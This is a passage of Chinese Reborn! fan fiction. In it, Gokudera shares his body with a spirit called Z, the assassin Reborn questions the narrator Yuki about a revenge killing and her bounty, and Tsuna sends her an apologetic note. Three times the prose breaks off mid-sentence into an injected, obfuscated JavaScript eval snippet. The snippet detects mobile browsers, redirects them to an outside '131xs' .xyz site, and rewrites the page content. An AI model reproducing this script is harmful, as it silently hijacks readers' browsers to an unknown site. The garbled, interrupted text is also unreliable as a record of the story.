狱寺隼人道:“你总有名字吧。我总得知道以后一辈子……啧,一辈子待在我身体里的人叫什么名字。” 她惊讶愣住,然后说:“你还真当真啦,一辈子这么长。” 他说:“你又骗我?你这人真是谎话连篇。” “什么叫又啊……” 明明语气也不大重,同他恶声恶气时说的话相比毫无威慑力,她却莫名觉得心里有些发毛,干脆把到嘴的话换了个形式,含糊道:“哼哼,别冤枉我,我才没说谎——谁知道呢,一辈子那么长,小心我一直缠着你。” 狱寺隼人一针见血地问:“所以你的名字?” 她想了会,说:“叫我Z吧。” 狱寺隼人说:“只有Z?” 他有些不满,他已经说出了全名,她却用一个字母来敷衍他!谁知道她说的是真是假?这家伙果然是个职业骗子吧! 她笃定地说:“只有Z。”语气听上去完全不像说谎,顿了顿,她接着道,“这次真的没骗人。” 狱寺隼人暗中腹诽,骗子哪里会说“我这次在骗人”啊?不过,他却相信了她的话,想来骗子偶尔的真心是很明亮的,能够被人一把抓住。 他勉勉强强地说:“好吧,Z。” 她笑嘻嘻地说:“你应该说‘以后请多指教’。” 他嘟囔:“这是什么习惯……。” “——以后请多指教,Z。” 过了好一会儿,他才用很勉强、很勉强、很勉强的语气如此说。 19.痛哭涕流 多了一个人——脑海里——对狱寺隼人的生活并没有什么改变。 如果非要说改变,那也是糟糕的。狱寺隼人恶狠狠地想。 怎么会是神明呢?她这家伙分明比他还要生存无能。事实证明她第一天发现的那块肉耗光了她的所有运气,后来她屡次协助狱寺隼人发现食物,狱寺隼人将信将疑的吃下去,然后眼前一黑:“……” 失去意识半小时,他才在她的哭天喊地中悠悠醒转。 “你不要死啊!!!你死了我怎么办,呜呜呜呜呜……” “我还没死别哭了。吵死了。” 他有气无力地回应,发现这位不知名来客对他造成的破坏力已快赶上他的长姐碧洋琪:他本来以为吃下碧洋琪的黑暗料理之后,这世上再没有食物能够放倒他…… “哦!你还活着!那可真是太遗……太好啦!”她恢复了精神抖擞,说。 “我没死你看上去很不高兴啊,”他有些狐疑。 她嘟囔:“你才死不了,当我不知道吗,可恶可恶……” 他不知道她在“可恶”什么,这人就喜欢说点怪话。狱寺隼人大多数时候把它当成耳边风,计较太多他会疯掉的;不过偶尔,他也会不太高兴,因为她话语里他听不懂的部分,显而易见地代表了某部分他并不了解的过往。 意识到这点不高兴后,狱寺隼人悚然而惊。 他们明明认识不超过一个月,怎么他却为她的过往不高兴?真是奇怪,真是无聊!狱寺隼人啊狱寺隼人,你脑子里在想什么乱七八糟的! 他赶紧把所有念头都挥出脑子外,然而怎么也静不下来,这也是理所当然的——她在他脑子里说:“我觉得这块点心不错。” 狱寺隼人瞪着那块疑似长绿毛的蛋糕:“……” 她全然没注意到他可疑的沉默,兴致冲冲地提议:“我最近思考了一下!都说心理作用能够影响客观条件,那有没有可能我们给食物换个名字,就能改变它的美味程度呢!” 狱寺隼人:“……” 他没好气地说:“又不是你吃,好不好吃关你什么事。” 她大吵大嚷:“什么不关我的事!我也能尝到味道的好不好!当然要好吃一点才行啊否则我不是每天都在吃垃圾了吗!” 狱寺隼人:有没有一种可能,每天都在吃垃圾的是他。 虽说如此,小孩心中却微微异样。他吃东西的时候,她虽然也抱怨,大多数时候却都是“我想吃小蛋糕”“我想吃甜甜的!”之类的要求,可从来没有说过什么“真难吃”“就吃这个吗”“呕”的话,这让他以为她仅是在他脑海中共存,而不会感受到他的感官。 所以居然是能感受到的吗。 他机械地咀嚼嘴里的食物,听着她迫不及待地推行计划:“所以说啊还是给它换个名字吧!绿色的……嗯嗯,青色青草清香蛋糕怎么样!” 狱寺隼人:“……” 狱寺隼人:“不怎么样。” 他毫不留情地打击她的积极性,两个人又叽里呱啦吵了起来。狱寺隼人每天有一半的时间都在和她吵架。这项工作旷日持久,狱寺隼人面对艰巨的任务感到绝望,提前开始做一辈子应敌的计划。 一辈子的人生大敌!狱寺隼人这样给她下定义。 少年不识时间,径自以为地久天长。——狱寺隼人大概就是犯了这样的错误。 · 十四岁。狱寺隼人远渡重洋,来到了午后的海的另一端。 事实证明,他们当初看的那片海是地中海;而地中海只是一片狭小的海域,沿海岸线的国家有西班牙、克罗地亚、马耳他,偏偏没有日本,没有她的国家。 但海被定义之后,只剩下两头。一头是意大利,另一头是日本。 ——她所在的国度。 · 和狱寺隼人分开之后,我回到了家,发誓以后再也不去便利店了。 等我打开家门,我把刚才的誓言抹得干干净净。逻辑是这样的:如果因为某个地方有棘手的人就再也不去那个地方,那么同理,我现在也不应该再回家。 因为家里来了一位天底下最棘手的不速之客。 第一杀手,Reborn。 我保持着开门到一半的姿势,和坐在沙发上的杀手打了个照面。 他端着咖啡杯向我看过来,帽檐上的蜥蜴吐了吐舌头。 我:“咦,好奇怪,这不是我家啊,怎么钥匙也能打开呢好奇怪。哈哈哈不好意思哈先生我走错了。” 我把门咔吧一下合上转身就走没有任何犹豫仿佛没有任何留恋,下一秒我就被眼前陡然出现的人吓了一大跳。 Reborn黑黝黝的眼睛看着我。 鬼啊!!!是鬼啊!!! 我咔吧一下就跪下了直接痛哭涕流:“对不起我错了大人我不该开那个该死的洗车店不该招惹沢田纲吉我错了!您大人有大量放过我吧我明天就搬家绝对不跟您抢员工我们桥归桥路归路放过我吧大人!” Reborn看着我憋了半天没憋出眼泪:“……” “停,”他说,“太大声了,会打扰到邻居的呢。我只是来做客的,可不希望做一位被议论的客人。” “那你是……?” 我顺势停住了干嚎,战战兢兢地和他对视三秒之后,我重新拉开了门,我们走进屋子里和谐地坐下。 我们又对视了三秒。在他的目光中我感到了鼓励。 “实不相瞒,”我诚恳地说,“我真的只是说玩笑话而已。请不要当真。我不会加入什么黑手党的,阿纲……沢田君的人生为什么非要和我的重叠呢?我想他只是一时糊涂了。您作为他的家庭教师,当然要把他拉回正途不是吗?” 他饶有兴致地听我说完,道:“先不谈论这个话题。我倒是很好奇……小姐,你似乎对我感到畏惧。你从前见过我?” 我把头摇成拨浪鼓:“没见过。我是良民,良民啊!!!”我犀利地指出,“您不是说要把阿……沢田君培养成黑手党吗,那您肯定也是一位黑手党吧。黑手党怎么会和良民有所牵扯呢。您说对吗?” 他道:“那你为什么怕我?——别撒谎。我能感受得出来。” 我诚恳地说:“看到一个拿枪的婴儿说自己是杀手,害怕不是很正常的吗。” 他听完这个解释,露出了奇异的神色。以我多年对统计学的研究来看,这神色里大约有三分之一的讥诮,三分之一的愉悦,还有三分之一的……欣慰? 他像是接受了我这个解释,转而挑起另一个话题,说:“你改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808191|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口得倒是很快。” 我马上领会到了他的意思,观察了一下他的表情,看不出是嘲讽还是感叹。我顺从内心道:“这也是没办法的事啊。沢田君的人生道路和我的不同,我只是提前接受了这一点而已。” 虽然接受得确实有点快。但还是在正常范围内吧? 杀手听完我的话,挑了挑眉,脸上欣慰的神色似乎更浓了一些。但与此同时,另一种奇异的情绪似乎也袭击了他:负面情绪。当然,以杀手良好的专业素养,他能轻松将它镇压。 我诚恳地看着他,再接再厉:“我只想过平静的生活,开一家普通的洗车店。……不开洗车店,其他的店也可以。拜托了,请不要打扰我的人生。” 他看着我,目光难以形容。 半晌,他说:“谎话说得好似真,朝暮小姐,哪怕我也需要辨认你话语里的真实。” 我正为这突如其来的话摸不着头脑,他舒展了身体,慢悠悠地啜饮一口咖啡,道:“不过,多余的废话还是少说为妙。朝暮小姐,你的监护人应该和你说过,你的姓氏‘朝暮’代表着什么?” “……” 我们有了真正的长达三秒的对视。 三秒后,我抖了抖肩,一派轻松地说:“仅仅是代表着我的父母。除此之外,它什么都不代表。” 为防止他多说其他,我抢先说:“如果你想说我的家族是杀手世家什么的……还是算了吧。这种事情我当然早就知道了。那又怎么样,所有人都死了,只剩下我,我想做什么就做什么。” 杀手沉默片刻:“这件事是彭格列对不起赫普斯家。” 我说:“这是家族的世仇,和彭格列无关。” “……” 就算这么说,我的语气也不可避免得过于冷淡了。 这是理所当然的:所有看客都要求舞台上的木偶保持理智,保持客观,保持正面情绪。 然而,又怎么可能不迁怒。 ——彭格列。 · 不要误会。我家和彭格列没仇。相反,我们的关系在历史上一度是坚不可摧的盟友。 户籍上的名字是朝暮雪,但我真正的姓氏应当是赫普斯。Crepus,源自拉丁语crepusculum,百年前我的祖先生活在意大利的土地上,作为拥趸之一,追随着彭格列的步伐。 相比起锐意进取的彭格列首领们,我的祖先更加倦怠,对权势地位并不狂热。后来,岁月变迁,我的祖先来到了日本,取姓氏为朝暮,虽还做些规模不小的杀手生意。但相比起在里世界中举足轻重的彭格列,已相当于隐居。 多年来,彭格列并没有和朝暮家断联,朝暮家作为彭格列在日本的触手之一,偶尔会参与到一些行动之中。 为了不让我沾染太多,父母并不在我面前提家族事业的相关。但琴子奶奶说我是小狗,就是因为我像小狗一样爱钻洞。我常常躲在各个角落里观察父母,偶然一次听到彭格列这个名字。 “如果出事了……庇护……” “……不行……绝对不能!…彭格列…” 断断续续的句子,我已经记不太清内容了。我只是懵懂地得到一个概念:彭格列是可以相信的。可以依靠的。 错了。 并不可以。 20.一派天真 没有任何人可以相信。没有任何人可以依靠。风车被溅上血那天没有人赶来帮助我们,我睁大眼睛记清仇人的模样,我知道所有人都死了,如果我也死了,再没有人能够为我们报仇。 我并不恨彭格列,我们只是盟友,前者没有义务为我家族的覆灭担责;然而,情感上,我的迁怒来得理所当然。 是啊!迁怒。 我的父母如此信赖你们,你们却不曾对我们伸出援手;先人的情谊仿佛只是历史,利益交换的世界我们死了,而你们甚至不愿对此付出更多的眼神。 我的迁怒多么理所当然。 我随机分发着怒火。在彭格列的继承人逐一死去时,我冷眼旁观,甚至觉得太好了——在九代目的儿子被封印之后,这些继承人为争抢十代目的位置打得不可开交,又哪里会在乎其他无关紧要的事呢? 如此,当“沢田纲吉是彭格列的未来十代目”的消息砸在我脑门上的时候,我第一反应是我去真的假的太好了彭格列你完蛋了! 第二反应是我与沢田纲吉的情谊已不长久,趁着最后的时间我们吃散伙饭吧。 我和彭格列走在两条不同的道路上,不散伙,还能怎么办? · Reborn说:“但我必须很不幸地告诉你一个消息。你需要彭格列的庇护。” 我:“为什么?” 我:“我不需要任何人的庇护。” 他道:“你的监护人需要。她年轻时是不错的人物,但她现在已不再年轻。” 他道:“你的复仇很完美,也做到了斩草除根,整个家族无一人生还。但牵一发而动全身,你的悬赏金额持续上涨,七亿八千万美金,足够亡命之徒陆续找过来。” “等等,”我吃了一惊:“七亿八千万美金?” 按理来说我的悬赏应该在五亿时终止才对。之后还会随着时间的推移而下滑。毕竟在复仇之后我就隐姓埋名每天苦逼地学习,根本没空去杀人,自然也不会有扬名的机会:在这种情况下,我的悬赏居然还升了二分之一? 我脱口而出后对上他微微带笑的眼睛,才发觉杀手果然老谋深算。他说第一句话时我还在酝酿否认是我复仇的事,谁知他一说悬赏的金额,我这只蠢青蛙就栽进了他的网里。 不过,也用不着过多隐瞒了。想必他已经查得很清楚了吧。 既然坦诚相见,也再没什么好伪装的了。我无所谓地说:“我可以带着她搬家。去哪里活不下去,何必一定要彭格列。” 他没有过多纠缠,只是自言自语道:“看来这个借口也无法让你加入彭格列。” 我说:“我不加入任何家族。你死心吧。” 处理亡命之徒的追杀确实麻烦,但琴子奶奶绝不会嫌我带来了麻烦。我对此很有信心。 杀手泰然自若道:“那么,最后一个问题。” 我以为他会勒令我搬家,或者至少让我以后离沢田纲吉远一点、将我对后者的影响力降到最低,却没想到他话题重提地问:“你知道你的悬赏金额为什么不降反升么?” 这个问题我也很纳闷,但我本来打算回头上暗网自己查来着。既然他提起来,我便顺嘴问:“为什么?” 他笑了。 我看着他的笑,有种不详的预感。 · 第几次了不详的预感!出现得太频繁了吧! 错觉!绝对是错觉! · Reborn的声音不疾不徐。 “四个月前。十二月七号,位于意大利利古里亚大区的哈特勒斯家族被灭门。事后调查发现凶手仅有一人,武器为剑与枪械。” “因哈特勒斯家族在当地的威望,该杀手的悬赏金一跃至五亿美金。但哈特勒斯已被灭门,调查进度迟缓,且后续该杀手没有再次出现,所有人都默认这五亿美金不过是摆设。” “直到两个月前,负责勘测现场的人员才给出了相关的信息。他们一度怀疑是我动手将哈特勒斯家族除去,赏金因此提高。” 说到这里,杀手淡淡的目光落到了我身上。 我好像被一只鹫鸟盯上:它虎视眈眈,等待着从我胸膛中叼出我的心脏。 我再也没办法维持无所谓的淡然姿态。 我咽了口口水,胆战心惊地问:“……不是你做的,为什么他们怀疑你?” “勘测现场的痕迹的过程中,他们发现对方使用的枪械只是市面上流通的一般货色。但想必你听说过弹道痕迹的鉴定——基于这点破绽,他们发现对方使用了我的成名技‘Short Shot’。” 听到这里,我不可自抑地汗流浃背起来。我当然清楚成名技这种东西属于私人的领域。尤其是成名的杀手,但凡有人敢假冒对方犯事,绝对会被视为挑衅追杀至死。 我已经明白了,彻底明白了。 原来如此,原来如此! 原来是新仇旧恨一起来!怪不得第一杀手对我颇多关注,想必他一定是以为我故意嫁祸给他……不是,等等啊,我连Short Shot是什么都不知道,我怎么嫁祸? 所以除了因七亿八千万美金杀来的亡命之徒,我还得应付第一杀手吗? 想到这里我只觉人生灰暗,脑子飞快运转,三度考虑跑到非洲,两次想过隐居美国,当然现在最重要的是先扯淡,我当场一个冥思苦想的大动作:“呵呵……呵呵,有没有可能勘测的人出了失误呢?怎么有人能够模仿Reborn先生您的成名技呢?怎么想都不可能嘛!我看这是个巧合!一定是巧合!” “巧合?”他意义不明地看着我,语气凉凉的。 巧合怎么可能说服这等嗜血如命的杀手,我绞尽脑汁,灵机一动:“也不一定是巧合!也许有人在我离开之后到了现场伪装痕迹,就为了嫁祸给您呢?这种可能也是有的!” 他施施然道:“你说得有理有据,只有一点——这世上能够使出这一招的,仅有三个人。其中一个是我。” 我露出了犀利的眼神,心机之蛙一直摸你肚子!原来如此!虽然不是三选一但是二选一也符合剧情进程! “看来凶手就在这两个人之中了,Reborn先生,这两个人分别是谁呢?”我推了推眼镜,扮演着刚刚入职的巡查,询问受害者线索。 “其中一个是我的大弟子,迪诺·加百罗涅,”他配合着我,不知何时换了一身失意的服装,衬衫领口皱巴巴的,用受害者的口吻道,“我将这一招传授给了他,他虽然不成才,也勉强能够使出七八分功力。” “那么另一个呢?” “另一个是我的二弟子。我亲身传授给她这一招。不幸的是在这之后不久她就失踪了,我再没有见过她。” 我的大脑飞速运转,此时此刻线索已经分明,案件的走向也逐渐清晰,但我绝不能轻易落入凶手的陷阱! 表面上看加百罗涅不会背叛他的老师:毕竟他家大业大跑也跑不了,而那位失踪的二弟子疑点重重看上去就是嫁祸的凶手。但如果这是狡猾的加百罗涅故意为之呢? 或许跳马迪诺对他的老师早有不满,暗中使坏……这种情况不是没有啊! 呵呵,跳马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832962|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪诺,好你个欺师灭祖的歹徒! 当然,出于谨慎,我没有马上说出我的猜测,而是继续问:“怎么没听说过您有一位二弟子呢?他是什么时候失踪的呢?使用之前,你们有闹过矛盾吗?” Reborn纠正我:“是‘她’,不是‘他’。” 我这才意识到他说的是日文中的“她”。但这更荒谬了,我直觉如果第一杀手收了一位女弟子,无论如何他不会让她默默无闻的,可我从未听闻有这样一位人物的存在。 “抱歉,”我面不改色,“所以她是什么时候失踪的?” “分开之前我们关系融洽,并无不和,”Reborn告诉,“但三年前,因一场意外,她从我的生活中消失。” 我又问了他几个问题,他配合流畅,面色无辜,一时之间真像是无害的婴儿了。但我心中的警惕不降反升,我直觉他酝酿着惊天大爆炸:这场爆炸会让我灰头土脸。 最后,我硬着头皮道:“依我看,或许是您的那位二弟子留下了这些痕迹。我从没有学过Short shot,又怎么可能使出您的成名技呢。” 他问:“那你是用了什么方法复仇?” 啊这个。我对答如流:“就是普通的——普通的剑术和枪法。” “你是从哪里学来的剑术,哪里学来的枪法?” “……”啊。 这个问题问得太犀利了,一时之间我难以解释。 我身上的技能,大多数来源于从前附身时的经历。闪着雪花片的老电视断断续续放出片段,印象里有人劈砍着森林里的树木,告诉我从哪一处入手能够击破敌人的弱点,也有人在高楼中穿梭,车水马龙,摩天大楼的玻璃墙面映出他模糊的脸。他低声对我说,“看好了,子弹该对准这个方向发射——” 于是,在意大利利古里亚大区的哈特勒斯庄园里,昏暗的夜色,我持剑砍倒近身的敌人,一手举起枪,对准向我扑过来的敌人,扣动扳机。 “砰!” 子弹朝着既定的方向发射,短暂地破开空气后射入敌人的眉心。 血花迸溅,我没有沾上一滴血。 我踩着仇人的尸体,像踩着干枯的树。我恍惚意识到:我做到了。 不知是谁教导了我,但看到今天的我他绝对会欣慰。我这样出色的学生,值得一切赞赏。 回忆在我脑海中飞快滑过,再回过神时,眼前的杀手还在耐心地等待着我的答复。 我于是含含糊糊地说:“我无师自通。都是我自己琢磨出来的。——我是百年难得一遇的天才!” 虽然一开始有点心虚但马上又得意起来。没错没错,我当然是天才了,剑术和枪法精通是很正常的! 我转移话题:“当务之急不应该是找出假冒您的凶手吗?把话题放在我身上算跑题了吧。我们还是来讨论您的两位弟子谁才是凶手吧Reborn先生。” 捧着咖啡杯的小婴儿没有接我的话,眼睛眨也不眨地看着我。 我被看得发毛:“怎……怎么了?” · 大概她还没发现她的破绽:又或者她本不觉得这算是个破绽。 她睁大眼睛看着他,眼底流淌出纯粹的情绪,毫无阴霾。 明明大难临头,却还不慌不忙。 明明不舍得友人,需要放弃时却毫不犹豫。 明明杀了68人,却还怀有一派天真。 而这无畏的镇定、干脆利落的决断、残忍的天真。 一部分,他早已领略过;又有一部分——恰恰是他教授给她。 21.私の幻想 看了我一会儿后,Reborn移开了目光,他帽檐上的蜥蜴倒是一转不转地盯着我。 半晌后,杀手施施然道:“事实上,我知道真正留下了痕迹的人是谁。” “……”所以你早就知道了啊!那你不早说! 我心中腹诽他说半句留半句,表面上当然不敢流露出任何不满,我满脸谄媚地问:“不愧是您,这么快就查明了真相!那留下了痕迹的人是谁呢?” “我的二弟子。” Reborn道:“我已能肯定是她无意中留下了痕迹,使得考察人员联想到了我。” 我正想大赞他明察秋毫、接着顺水推舟地送客,他的话却还没完:“不巧的是,虽然我极力澄清,但似乎造成了反面效果。” ……反面效果。 我心中再次升起不详的预感。 · 太频繁了吧怎么那么多不祥的预感我是回魂的时候把什么东西刻进我的DNA了吗!!! · 我努力按捺住嚎叫的欲望,复读:“‘但似乎造成了反面效果’……?” 显然杀手不是位读空气的好手,他仿佛没有读出我语气中的僵硬,慢悠悠道:“不错,反面效果。” “——他们将你当成了我那位失踪的二弟子。” Reborn话音刚落,我两眼一黑险些昏昏倒地。 我难以置信:“怎么会这样呢!怎么会这样——难道没人见过您的二弟子吗,怎么会有这样错误的认定!” Reborn摇摇头:“很遗憾,没有人见过我的二弟子。” 他表达遗憾,我没从他脸上看到半点遗憾;我大悲,砰然发出绝望的呐喊道怎么会这样,怎么会没人见过你的二弟子呢?你把她吃了吗不然怎么会有这种事? 可就算我呐喊也无济于事了。 我像一条被猛烈的太阳晒得两面发臭的咸鱼一样缓缓躺倒在沙发上,听着Reborn平稳地告诉我现在所有人都把我当成了他的二弟子,好处是与他交好的人都放弃了对我的追杀,不妙的是杀手的仇敌同样不少,我的身价已超过了我明面上的赏金。 最倒霉的是杀手本人是座大山,他的大弟子迪诺是加百罗涅的首领同样身边有无数人跟随,他们无懈可击,唯独我,我看上去无依无靠,一击必死。 哪怕我跑到非洲也绝对会有人追着我杀,除非我愿意躲进热带雨林当野人。 “……”我面如菜色,孱弱地发出最后的挣扎:“那你就不解释了吗,既然是你的二弟子造成的痕迹,那就说明她没有彻底失踪,万一回来发现她的地位被抢了怎么办,O珊珊的前车之鉴还在眼前,你难道也要犯这样的错误吗?” Reborn无辜道:“哪怕是我也想不到那么远的事情。等到她回来再说。不过我想她不会回来了。” 我:“有没有一种可能高O珊她妈也没想到她女儿还能再回来。” 我:“明明都已经现身案发现场了不是说明了她迟早还会出现吗!你就不去找她了吗!” Reborn不说话了,他无辜地看着我,黑黝黝的眼睛像葡萄。我跟他对视三秒,明白了:这人故意的。 鸩占鹊巢怎么了,那位二弟子知道我抢了她的身份杀回来才好呢,杀手蹲在我周围守株待兔,不比满世界去找失踪人士方便多了? 我因此认知到自己悲惨的未来,连忙哭丧着脸拉开了门。 “您还是快走吧,不然我忍不住和你打起来,回来琴子奶奶发现房子升天了我会被杀了的。” 杀手慢悠悠站起来,摘帽子与我示意,接着礼貌地告辞了。 即将离开之前,他对我说:“期待下一次见面。” 我干笑:“再见。”说着把门砰一声关上,对着空气打了一套连环拳。 · 接下来的时间里我登录上暗网,发现我刻意回避不去看的赏金果然已经上涨了,而且在这短短的时间里又涨了五百万:七亿八千五百万。 我手头上都没那么多钱! 我恶从胆边生,简直想找个地方死了算了正好也给琴子奶奶留一笔养老金。 转念一想她缺这点养老金吗?不缺;而且她警惕得很我至今没摸清楚她那个小瓶子里到底是速效救心丸还是金平糖,虽然是金平糖的概率很高,但万一呢?让我黑发人送金发人也太为难我了! 我恹恹地琢磨了一会儿,手机突然响了。 我接起来:“谁嗷?” “我,”琴子奶奶的声音从电话另一头传来,“看看你饿死了没有。” “你才离开多久我就饿死了我是什么朝生暮死的蜉蝣吗?” “就知道贫嘴,”她顿了顿,“如果没有东西吃,就去翻厨房里橱柜的第二层。” 我诚恳地问:“橱柜在哪?” 她:“……” 我夹着电话走进厨房,在她的指示下找到了灶台旁边的橱柜,我一边拉开柜门一边抱怨,“这么多橱柜我怎么找嘛,为什么不直接放到我面前呢”,被她回怼“要不要串成个饼挂在你的脖子上”。 拉开柜门之后我就没声了。因为里面塞得满满当当,都是能常温保存的和果子。我扒拉出来咬了一口,感觉自己像只幸福的小老鼠。 “呜呜呜呜好吃好吃,我们真的不能一辈子在一起吗?”我眼泪汪汪地对着手机话筒嚎。 她说我为什么要和一个连厨房橱柜都不知道在哪里的小崽子过一辈子。 我不禁悲从中来,很想问点我爱你你爱不爱我我和你的二十个情人同时掉进水里了你会先救谁理由是什么的狗血问题。话到嘴边又哽住了。 “如果发生了什么事,我连累了你,你会不会怪我啊?”最后,我这么问。 她想了想,轻松地说:“我还能活三十年。” 她云淡风轻:“这三十年里,你爱做什么做什么。” “至于连累我……”她嗤笑一声,“你能算什么负担。” 我再次感动得两眼汪汪,当即发出诚挚的邀请:“那你愿意跟我去热带雨林当野人隐居吗?我可以抓虫子烤给你吃。” 她:“……” 她:“你还是滚吧。” 啧。 我往嘴里塞点心,麻溜地挂断了电话。 所以果然还是留下来好了。 · 跟我说谢谢琴子奶奶。 担心再去便利店撞见狱寺隼人、出门逛街又碰到其他人,我干脆周末剩下的时间都躺平在家里,靠着她留在橱柜里的和果子续命。 就这样勉强活到周一,琴子奶奶还是没有回来,和果子快吃完了,我也得上学了,我不得不如丧考妣地背着书包走向学校。 路上碰到的学生们都像被抽了一半的魂魄,满脸都写着衰衰衰。我脸上的衰字尤其大:我现在不仅厌学,还有点儿不知道怎么和沢田纲吉他们相处。为此我甚至没有了和沢田纲吉争夺倒数第一的干劲。微妙的焦灼感让我浑身散发着生人勿近的气势。 我慢吞吞挪着步子,半路碰到了一只鸟在唱歌,干脆驻足听了一会,试图拖延到学校的时间。 “绿茵葱郁的并盛……不大不小中庸最好……” 我听着听着——等等!我大惊失色,这不是跑调的并盛中学校歌吗! 可恶的周一!可恶的学校!可恶的校歌!!!我在心头怒骂,谁知道这只鸟居然也同时注意到了我,好像听到了我的心声,我刚刚迈开步子,它就拍着翅膀向我飞了过来。 怎么还追着我杀!!! 移动的校歌播放器!世上怎会有这样恐怖的东西!就算你很可爱我也没办法欣赏了啊!我只觉噩梦来临,头也不回拔足狂奔,就这样跑过了街道、冲进了学校、一头撞进了教学楼。 不知不觉间,身后追着的播放器被我甩得不见踪影,隐隐约约的让我慢下脚步的声音也消失了。我松了一口气,身心俱疲地换了鞋、走进教室。 或许是路上辨认跑调的校歌花了一点时间,我进教室的时候座位上已经坐满了人。我的目光一扫,山本武、沢田纲吉、狱寺隼人不约而同看向我,我赶紧收回目光,谁也不看,眼观鼻鼻观心走到座位坐下。 刚刚坐下,桌子上就嗖嗖多了两个纸团。 狱寺隼人看看我们三个,脸上露出思索的神色,接着转过去刷刷几笔,啪地也扔了个纸团过来。 我:“……” 过分了吧,把我当垃圾桶了吗! 嘴上骂骂算了,让我心安理得将他们的话当成垃圾我还是做不到。我的手指在三个纸团之间转悠,嘴上念念有词:“A bi bo, goccia di limone, goccia d''arancia, o che mal di pancia! Punto rosso, punto blu, esci fuori proprio tu!” 点到谁我就选谁! ——最后我的手指停在沢田纲吉的纸团上方。 我心情复杂地打开它,发现上面写的字端端正正,绝不是一蹴而就的成果,写它的人大概抓耳挠腮花了不少时间。说是上课谈天用的纸条,不如说这是一封信了。 我下意识偏头去看窗玻璃,却与褐发少年的目光相撞——啊,他是在看我吗? 他用手臂支着脸,微微偏头,出神地看着窗玻璃,经过光线折射后与我四目相对,褐色的眼瞳在晨光沐浴中微微泛着彩色,意识到我的视线,他弯弯眼睛对我笑了,出乎意料的是他没有躲闪,反而一直看着我。 我收回目光,低下头看纸条上的内容,第一句就是: “对不起。” 我像是拆开礼物盒子、被飞出的恶作剧拳头砸在鼻梁上的派对主角一样,先是反射性地战术后仰,过了一会才继续看下去。 “阿雪,我总是很想和你说清楚,却又总是犹豫不决,然后在错误的时间点草率地说出自己的心意,以至于让你感到不高兴。对不起。” 他一连写了好几个“对不起”,仿佛不知道该写什么、只本能地道歉。 说来我对一昧道歉的人没什么好感,因为觉得他们犯下了错误才会愧疚,既然如此我根本没必要对他们有好脸色。沢田纲吉却上来就兜头给我来了一套连环拳—— 我并不觉得他犯了错,他却觉得十分对不起我。 “我想来想去该不该和你说清楚,最后想起来那天你问我,‘如果有人送了情书邀请你约会,是否应该同意邀请’。我说不该用薄薄的一张纸去敷衍重要的人。” “中午的时候,我们可以单独说一会儿话吗?” 最后一句话力透纸背,一笔一划几乎要划破纸张。 我再向窗玻璃看一眼,才发现少年目光灼灼,明明是公认的懦弱的透明人,这时候眼中焕发的神采却像世界第一大明星。 看着他,我心中不由自主产生了诡异的自豪之情。 果然能够让我附身的人不会差的!沢田纲吉!我认可你了! · ……就算这样也不妨碍我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847559|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得苦恼! 两个人单独说一会话! 难不成是那个…… · 场景A。 “对不起我不应该附身你的身体!”我诚恳地进行日本人の鞠躬。 沢田纲吉怒:“别以为随随便便的道歉就能糊弄过去!因为你附身我的身体,我的精神力和身体素质都下降了,你必须赔偿我!” 我低眉垂眼:“你想要什么补偿?” 沢田纲吉:“把你的身体补偿给我吧!” 得寸进尺!我大怒,心道难不成我附身了十三个人就要把我的身体补偿给十三个人吗!不可能的!我当即拒绝,和沢田纲吉砰砰砰地打了起来,结果彭格列未来十代目是个菜鸡,一不小心就被我踩在脚下,不妙的是,第一杀手突然出现,幽幽道:“殴打彭格列未来首领,就是在藐视彭格列的威严……” 于是继八亿三千万的(这两天赏金又上涨了)美金之后,我身上又背了一条藐视彭格列威严的罪名。我不得不亡命天涯,琴子奶奶毅然陪同我,多年之后新闻报道,“亚马逊丛林中疑似有野人出没”…… · 不对不对,想得太远了,而且我怎么可能真的去当野人!我将此念头甩出脑后。 或许还有别的可能…… · 场景B。 沢田纲吉:“还记得我们的约定吗?” 我:“约定?” 沢田纲吉:“看来,三年又三年,我还记得,你却已经忘了吗?三年前,我们约定了要做一辈子的怪盗Kid,后来你却忘记了这一承诺,以至于我在执行计划时,总是束手束脚……” 我:“怪盗Kid?”串台了吧!…是抄袭,绝对是抄袭!!! 沢田纲吉肃然:“没错,我就是传说中能盗走一切珍贵之物的怪盗Kid,而事实上怪盗Kid这个名号之下不止一人,你正是我的同伴……如今八年过去了……” 我:“怎么突然就八年了连年份都抄吗不要啊!” 沢田纲吉:“是时候让怪盗Kid重现江湖了!” 我:“作者没付版权费啊等等你不要乱来啊!” 